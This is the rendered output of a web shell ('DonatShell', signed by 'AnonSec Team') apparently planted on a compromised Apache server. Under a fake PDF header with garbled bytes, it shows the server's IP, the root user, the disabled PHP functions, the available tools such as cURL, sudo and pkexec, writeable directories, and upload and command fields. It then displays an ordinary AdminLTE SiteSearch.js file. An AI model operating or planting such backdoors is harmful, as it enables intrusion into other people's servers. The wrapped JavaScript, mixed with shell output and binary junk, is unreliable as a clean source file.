%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/water/common/theme/adminlte/build/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/water/common/theme/adminlte/build/js/SiteSearch.js
/**
 * --------------------------------------------
 * AdminLTE SiteSearch.js
 * License MIT
 * --------------------------------------------
 */

const SiteSearch = (($) => {
  /**
   * Constants
   * ====================================================
   */

  const NAME               = 'SiteSearch'
  const DATA_KEY           = 'lte.site-search'
  const EVENT_KEY          = `.${DATA_KEY}`
  const JQUERY_NO_CONFLICT = $.fn[NAME]

  const Event = {}

  const Selector = {
    TOGGLE_BUTTON  : '[data-widget="site-search"]',
    SEARCH_BLOCK   : '.site-search-block',
    SEARCH_BACKDROP: '.site-search-backdrop',
    SEARCH_INPUT   : '.site-search-block .form-control'
  }

  const ClassName = {
    OPEN: 'site-search-open'
  }

  const Default = {
    transitionSpeed: 300
  }

  /**
   * Class Definition
   * ====================================================
   */

  class SiteSearch {

    constructor(_element, _options) {
      this.element = _element
      this.options = $.extend({}, Default, _options)
    }

    // Public

    open() {
      $(Selector.SEARCH_BLOCK).slideDown(this.options.transitionSpeed)
      $(Selector.SEARCH_BACKDROP).show(0)
      $(Selector.SEARCH_INPUT).focus()
      $(Selector.SEARCH_BLOCK).addClass(ClassName.OPEN)
    }

    close() {
      $(Selector.SEARCH_BLOCK).slideUp(this.options.transitionSpeed)
      $(Selector.SEARCH_BACKDROP).hide(0)
      $(Selector.SEARCH_BLOCK).removeClass(ClassName.OPEN)
    }

    toggle() {
      if ($(Selector.SEARCH_BLOCK).hasClass(ClassName.OPEN)) {
        this.close()
      } else {
        this.open()
      }
    }

    // Static

    static _jQueryInterface(options) {
      return this.each(function () {
        let data = $(this).data(DATA_KEY)

        if (!data) {
          data = new SiteSearch(this, options)
          $(this).data(DATA_KEY, data)
        }

        if (!/toggle|close/.test(options)) {
          throw Error(`Undefined method ${options}`)
        }

        data[options]()
      })
    }
  }

  /**
   * Data API
   * ====================================================
   */
  $(document).on('click', Selector.TOGGLE_BUTTON, (event) => {
    event.preventDefault()

    let button = $(event.currentTarget)

    if (button.data('widget') !== 'site-search') {
      button = button.closest(Selector.TOGGLE_BUTTON)
    }

    SiteSearch._jQueryInterface.call(button, 'toggle')
  })

  $(document).on('click', Selector.SEARCH_BACKDROP, (event) => {
    const backdrop = $(event.currentTarget)
    SiteSearch._jQueryInterface.call(backdrop, 'close')
  })

  /**
   * jQuery API
   * ====================================================
   */

  $.fn[NAME] = SiteSearch._jQueryInterface
  $.fn[NAME].Constructor = SiteSearch
  $.fn[NAME].noConflict  = function () {
    $.fn[NAME] = JQUERY_NO_CONFLICT
    return SiteSearch._jQueryInterface
  }

  return SiteSearch
})(jQuery)

export default SiteSearch

Anon7 - 2022
AnonSec Team